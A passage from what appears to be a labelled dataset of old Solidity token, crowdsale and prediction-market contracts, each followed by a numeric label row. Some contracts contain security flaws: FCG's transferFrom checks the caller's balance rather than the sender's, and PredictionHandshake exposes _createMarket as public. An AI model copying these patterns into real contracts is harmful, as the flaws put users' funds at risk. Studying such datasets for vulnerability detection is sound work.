require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal view returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
function hasEnded() public view returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
function RefundableCrowdsale(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
}
contract NacContract is CappedCrowdsale, RefundableCrowdsale {
uint8 public decimals = 18;
uint256 public maxTokens = 1000000000 * 10 ** uint256(decimals);
uint256 public totalTokensForSale = 700000000 * 10 ** uint256(decimals);
uint256 public tokensForTeam = 200000000 * 10 ** uint256(decimals);
uint256 public tokensBounty = 15000000 * 10 ** uint256(decimals);
uint256 public tokensAirdrop = 85000000 * 10 ** uint256(decimals);
event EthTransferred(string text);
event EthRefunded(string text);
function NacContract( uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet,
uint256 _goal,
uint256 _cap)
CappedCrowdsale(_cap*10**18) FinalizableCrowdsale() RefundableCrowdsale(_goal*10**18)
Crowdsale(_startTime, _endTime, _rate, _wallet)
public
{
require(_goal <= _cap);
}
function createTokenContract() internal returns (MintableToken) {
return new TokenContract();
}
function mintBountytokens(address _bountyWallet) public onlyOwner {
token.mint(_bountyWallet,tokensBounty);
}
function setCurrentRate(uint256 _rate) public onlyOwner {
rate = _rate;
}
function setNewStartTime(uint256 _startTime) public onlyOwner {
startTime = _startTime;
}
function setNewEndTime(uint256 _endTime) public onlyOwner {
endTime = _endTime;
}
function () external payable {
uint256 mintAfterPurchase = msg.value.mul(rate);
if ((token.totalSupply() + mintAfterPurchase > totalTokensForSale)) {
msg.sender.transfer(msg.value);
EthRefunded("sale Limit Hit");
return;
}
buyTokens(msg.sender);
}
function forwardFunds() internal {
EthTransferred("Pushing funds to smartEscrow");
super.forwardFunds();
}
function finish(address _teamFund, address _airdropFund) public onlyOwner {
require(!isFinalized);
uint256 alreadyMintedTokens = token.totalSupply();
require(alreadyMintedTokens < maxTokens);
uint256 unsoldTokens = totalTokensForSale - alreadyMintedTokens;
if (unsoldTokens > 0) {
tokensAirdrop = tokensAirdrop + unsoldTokens;
}
token.mint(_airdropFund,tokensAirdrop);
token.mint(_teamFund,tokensForTeam);
finalize();
}
function showTokenBalance(address sender) public constant returns (uint) {
return token.balanceOf(sender);
}
function getWeiRaised() public constant returns (uint) {
return weiRaised;
}
}
| 1 | 2,960 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract NdxToken is PausableToken {
string public constant symbol = "NDXX";
string public constant name = "NDX Token";
uint8 public constant decimals = 18;
uint256 private constant INITIAL_SUPPLY = 500000000 * (10 ** uint256(decimals));
address private constant REBECCA_FORBID_ACCESS = address(0x66633994b1dacce55);
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(REBECCA_FORBID_ACCESS, msg.sender, INITIAL_SUPPLY);
}
}
| 1 | 2,539 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract MintableToken is StandardToken, Ownable, Pausable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
uint256 public constant maxTokensToMint = 1000000000 ether;
uint256 public constant maxTokensToBuy = 600000000 ether;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) whenNotPaused onlyOwner returns (bool) {
return mintInternal(_to, _amount);
}
function finishMinting() whenNotPaused onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function mintInternal(address _to, uint256 _amount) internal canMint returns (bool) {
require(totalSupply.add(_amount) <= maxTokensToMint);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(this, _to, _amount);
return true;
}
}
contract Test is MintableToken {
string public constant name = "HIH";
string public constant symbol = "HIH";
bool public preIcoActive = false;
bool public preIcoFinished = false;
bool public icoActive = false;
bool public icoFinished = false;
bool public transferEnabled = false;
uint8 public constant decimals = 18;
uint256 public constant maxPreIcoTokens = 100000000 ether;
uint256 public preIcoTokensCount = 0;
uint256 public tokensForIco = 600000000 ether;
address public wallet = 0xa74fF9130dBfb9E326Ad7FaE2CAFd60e52129CF0;
uint256 public dateStart = 1511987870;
uint256 public rateBase = 35000;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount);
function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this) && _to != address(0));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this) && _to != address(0));
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
modifier canTransfer() {
require(transferEnabled);
_;
}
function enableTransfer() onlyOwner returns (bool) {
transferEnabled = true;
return true;
}
function startPre() onlyOwner returns (bool) {
require(!preIcoActive && !preIcoFinished && !icoActive && !icoFinished);
preIcoActive = true;
dateStart = block.timestamp;
return true;
}
function finishPre() onlyOwner returns (bool) {
require(preIcoActive && !preIcoFinished && !icoActive && !icoFinished);
preIcoActive = false;
tokensForIco = maxTokensToBuy.sub(totalSupply);
preIcoTokensCount = totalSupply;
preIcoFinished = true;
return true;
}
function startIco() onlyOwner returns (bool) {
require(!preIcoActive && preIcoFinished && !icoActive && !icoFinished);
icoActive = true;
return true;
}
function finishIco() onlyOwner returns (bool) {
require(!preIcoActive && preIcoFinished && icoActive && !icoFinished);
icoActive = false;
icoFinished = true;
return true;
}
modifier canBuyTokens() {
require(preIcoActive || icoActive);
require(block.timestamp >= dateStart);
_;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) whenNotPaused canBuyTokens payable {
require(beneficiary != 0x0);
require(msg.value > 0);
require(msg.value >= 10 finney);
uint256 weiAmount = msg.value;
uint256 tokens = 0;
if(preIcoActive){
tokens = buyPreIcoTokens(weiAmount);
}else if(icoActive){
tokens = buyIcoTokens(weiAmount);
}
mintInternal(beneficiary, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function changeWallet(address _newWallet) onlyOwner returns (bool) {
require(_newWallet != 0x0);
wallet = _newWallet;
return true;
}
function buyPreIcoTokens(uint256 _weiAmount) internal returns(uint256){
uint8 percents = 0;
if(block.timestamp - dateStart <= 10 days){
percents = 20;
}
if(block.timestamp - dateStart <= 8 days){
percents = 40;
}
if(block.timestamp - dateStart <= 6 days){
percents = 60;
}
if(block.timestamp - dateStart <= 4 days){
percents = 80;
}
if(block.timestamp - dateStart <= 2 days){
percents = 100;
}
uint256 tokens = _weiAmount.mul(rateBase).mul(2);
if(percents > 0){
tokens = tokens.add(tokens.mul(percents).div(100));
}
require(totalSupply.add(tokens) <= maxPreIcoTokens);
return tokens;
}
function buyIcoTokens(uint256 _weiAmount) internal returns(uint256){
uint256 rate = getRate();
uint256 tokens = _weiAmount.mul(rate);
tokens = tokens.add(tokens.mul(30).div(100));
require(totalSupply.add(tokens) <= maxTokensToBuy);
return tokens;
}
function getRate() internal returns(uint256){
uint256 rate = rateBase;
uint256 step = tokensForIco.div(5);
uint8 additionalPercents = 0;
if(totalSupply < step){
additionalPercents = 0;
}else{
uint256 currentRound = totalSupply.sub(preIcoTokensCount).div(step);
if(currentRound >= 4){
additionalPercents = 30;
}
if(currentRound >= 3 && currentRound < 4){
additionalPercents = 30;
}
if(currentRound >= 2&& currentRound < 3){
additionalPercents = 20;
}
if(currentRound >= 1 && currentRound < 2){
additionalPercents = 10;
}
}
if(additionalPercents > 0){
rate -= rateBase.mul(additionalPercents).div(100);
}
return rate;
}
function setDateStart(uint256 _dateStart) onlyOwner returns (bool) {
require(_dateStart > block.timestamp);
dateStart = _dateStart;
return true;
}
function setRate(uint256 _rate) onlyOwner returns (bool) {
require(_rate > 0);
rateBase = _rate;
return true;
}
}
| 0 | 953 |
pragma solidity ^0.4.25;
contract ERC20Interface {
string public name;
string public symbol;
uint8 public decimals;
uint public totalSupply;
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract FCG is ERC20Interface {
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256) ) internal allowed;
constructor() public {
name = "FCG";
symbol = "FCG";
decimals = 8;
totalSupply = 600000000000000000;
balanceOf[msg.sender] = totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool success){
require(_to != address(0));
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
success = true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){
require(_to != address(0));
require(balanceOf[msg.sender] >= _value);
require(allowed[_from][msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
success = true;
}
function approve(address _spender, uint256 _value) public returns (bool success){
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
success = true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining){
return allowed[_owner][_spender];
}
}
| 1 | 3,145 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _account) internal {
require(_account != address(0));
_role.bearer[_account] = true;
}
function remove(Role storage _role, address _account) internal {
require(_account != address(0));
_role.bearer[_account] = false;
}
function has(Role storage _role, address _account) internal view returns (bool)
{
require(_account != address(0));
return _role.bearer[_account];
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _who) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private balances;
mapping(address => mapping (address => uint256)) private allowed;
uint256 private totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseAllowance(address _spender, uint256 _addedValue) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseAllowance(address _spender, uint256 _subtractedValue) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].sub(_subtractedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function _mint(address _account, uint256 _amount) internal {
require(_account != 0);
totalSupply_ = totalSupply_.add(_amount);
balances[_account] = balances[_account].add(_amount);
emit Transfer(address(0), _account, _amount);
}
function _burn(address _account, uint256 _amount) internal {
require(_account != 0);
require(_amount <= balances[_account]);
totalSupply_ = totalSupply_.sub(_amount);
balances[_account] = balances[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed _account);
event PauserRemoved(address indexed _account);
Roles.Role private pausers;
constructor() public {
addPauser_(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address _account) public view returns (bool) {
return pausers.has(_account);
}
function addPauser(address _account) public onlyPauser {
addPauser_(_account);
}
function renouncePauser() public {
removePauser_(msg.sender);
}
function addPauser_(address _account) internal {
pausers.add(_account);
emit PauserAdded(_account);
}
function removePauser_(address _account) internal {
pausers.remove(_account);
emit PauserRemoved(_account);
}
}
contract Pausable is PauserRole {
event Pause();
event Unpause();
bool private paused_ = false;
function paused() public view returns(bool) {
return paused_;
}
modifier whenNotPaused() {
require(!paused_);
_;
}
modifier whenPaused() {
require(paused_);
_;
}
function pause() public onlyPauser whenNotPaused {
paused_ = true;
emit Pause();
}
function unpause() public onlyPauser whenPaused {
paused_ = false;
emit Unpause();
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseAllowance(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(_spender, _addedValue);
}
function decreaseAllowance(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(_spender, _subtractedValue);
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
}
contract BMToken is ERC20Pausable, ERC20Burnable {
string public constant name = "Boombit Token";
string public constant symbol = "BM";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 10000000000 * (10 ** uint256(decimals));
constructor() public {
_mint(msg.sender, INITIAL_SUPPLY);
}
}
| 1 | 3,080 |
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DaarToken is StandardToken, Ownable {
string public name = "Digital Asset Automated Revenue";
string public symbol = "DAAR";
uint8 public decimals = 18;
uint dmult = (10 ** uint256(decimals));
uint public INITIAL_SUPPLY = 1000000000 * dmult;
constructor () public {
totalSupply_ = INITIAL_SUPPLY;
owner = msg.sender;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer (address(0), owner, INITIAL_SUPPLY);
}
}
| 1 | 2,635 |
pragma solidity ^0.4.24;
contract PredictionHandshake {
struct Market {
address creator;
uint fee;
bytes32 source;
uint closingTime;
uint reportTime;
uint disputeTime;
uint state;
uint outcome;
uint totalMatchedStake;
uint totalOpenStake;
uint disputeMatchedStake;
bool resolved;
mapping(uint => uint) outcomeMatchedStake;
mapping(address => mapping(uint => Order)) open;
mapping(address => mapping(uint => Order)) matched;
mapping(address => bool) disputed;
}
function getMatchedData(uint hid, uint side, address user, uint userOdds) public onlyRoot view returns
(
uint256,
uint256,
uint256,
uint256
)
{
Market storage m = markets[hid];
Order storage o = m.matched[user][side];
return (o.stake, o.payout, userOdds, o.odds[userOdds]);
}
function getOpenData(uint hid, uint side, address user, uint userOdds) public onlyRoot view returns
(
uint256,
uint256,
uint256,
uint256
)
{
Market storage m = markets[hid];
Order storage o = m.open[user][side];
return (o.stake, o.payout, userOdds, o.odds[userOdds]);
}
struct Order {
uint stake;
uint payout;
mapping(uint => uint) odds;
}
struct Trial {
uint hid;
uint side;
bool valid;
mapping(uint => uint) amt;
mapping(uint => uint) totalStakes;
}
uint public NETWORK_FEE = 20;
uint public ODDS_1 = 100;
uint public DISPUTE_THRESHOLD = 50;
uint public EXPIRATION = 30 days;
Market[] public markets;
address public root;
uint256 public total;
mapping(address => Trial) trial;
constructor() public {
root = msg.sender;
}
event __createMarket(uint hid, uint closingTime, uint reportTime, uint disputeTime, bytes32 offchain);
function createMarket(
uint fee,
bytes32 source,
uint closingWindow,
uint reportWindow,
uint disputeWindow,
bytes32 offchain
)
public
{
_createMarket(msg.sender, fee, source, closingWindow, reportWindow, disputeWindow, offchain);
}
function createMarketForShurikenUser(
address creator,
uint fee,
bytes32 source,
uint closingWindow,
uint reportWindow,
uint disputeWindow,
bytes32 offchain
)
public
onlyRoot
{
_createMarket(creator, fee, source, closingWindow, reportWindow, disputeWindow, offchain);
}
function _createMarket(
address creator,
uint fee,
bytes32 source,
uint closingWindow,
uint reportWindow,
uint disputeWindow,
bytes32 offchain
)
public
{
Market memory m;
m.creator = creator;
m.fee = fee;
m.source = source;
m.closingTime = now + closingWindow * 1 seconds;
m.reportTime = m.closingTime + reportWindow * 1 seconds;
m.disputeTime = m.reportTime + disputeWindow * 1 seconds;
m.state = 1;
markets.push(m);
emit __createMarket(markets.length - 1, m.closingTime, m.reportTime, m.disputeTime, offchain);
}
event __init(uint hid, bytes32 offchain);
event __test__init(uint stake);
function init(
uint hid,
uint side,
uint odds,
bytes32 offchain
)
public
payable
{
_init(hid, side, odds, msg.sender, offchain);
}
function initTestDrive(
uint hid,
uint side,
uint odds,
address maker,
bytes32 offchain
)
public
payable
onlyRoot
{
trial[maker].hid = hid;
trial[maker].side = side;
trial[maker].amt[odds] += msg.value;
trial[maker].totalStakes[hid] += msg.value;
trial[maker].valid = true;
_init(hid, side, odds, maker, offchain);
}
function uninitTestDrive
(
uint hid,
uint side,
uint odds,
address maker,
uint value,
bytes32 offchain
)
public
onlyRoot
{
require(trial[maker].hid == hid && trial[maker].side == side && trial[maker].amt[odds] > 0);
trial[maker].amt[odds] -= value;
trial[maker].totalStakes[hid] -= value;
Market storage m = markets[hid];
require(m.open[maker][side].stake >= value);
require(m.open[maker][side].odds[odds] >= value);
require(m.totalOpenStake >= value);
m.open[maker][side].stake -= value;
m.open[maker][side].odds[odds] -= value;
m.totalOpenStake -= value;
require(total + value >= total);
total += value;
emit __uninit(hid, offchain);
emit __test__uninit(m.open[msg.sender][side].stake);
}
event __withdrawTrial(uint256 amount);
function withdrawTrial() public onlyRoot {
root.transfer(total);
emit __withdrawTrial(total);
total = 0;
}
function uninit(
uint hid,
uint side,
uint stake,
uint odds,
bytes32 offchain
)
public
onlyPredictor(hid)
{
Market storage m = markets[hid];
uint trialAmt;
if (trial[msg.sender].hid == hid && trial[msg.sender].side == side)
trialAmt = trial[msg.sender].amt[odds];
require(m.open[msg.sender][side].stake - trialAmt >= stake);
require(m.open[msg.sender][side].odds[odds] - trialAmt >= stake);
m.open[msg.sender][side].stake -= stake;
m.open[msg.sender][side].odds[odds] -= stake;
m.totalOpenStake -= stake;
msg.sender.transfer(stake);
emit __uninit(hid, offchain);
emit __test__uninit(m.open[msg.sender][side].stake);
}
function _init(
uint hid,
uint side,
uint odds,
address maker,
bytes32 offchain
)
private
{
Market storage m = markets[hid];
require(now < m.closingTime);
require(m.state == 1);
m.open[maker][side].stake += msg.value;
m.open[maker][side].odds[odds] += msg.value;
m.totalOpenStake += msg.value;
emit __init(hid, offchain);
emit __test__init(m.open[maker][side].stake);
}
event __uninit(uint hid, bytes32 offchain);
event __test__uninit(uint stake);
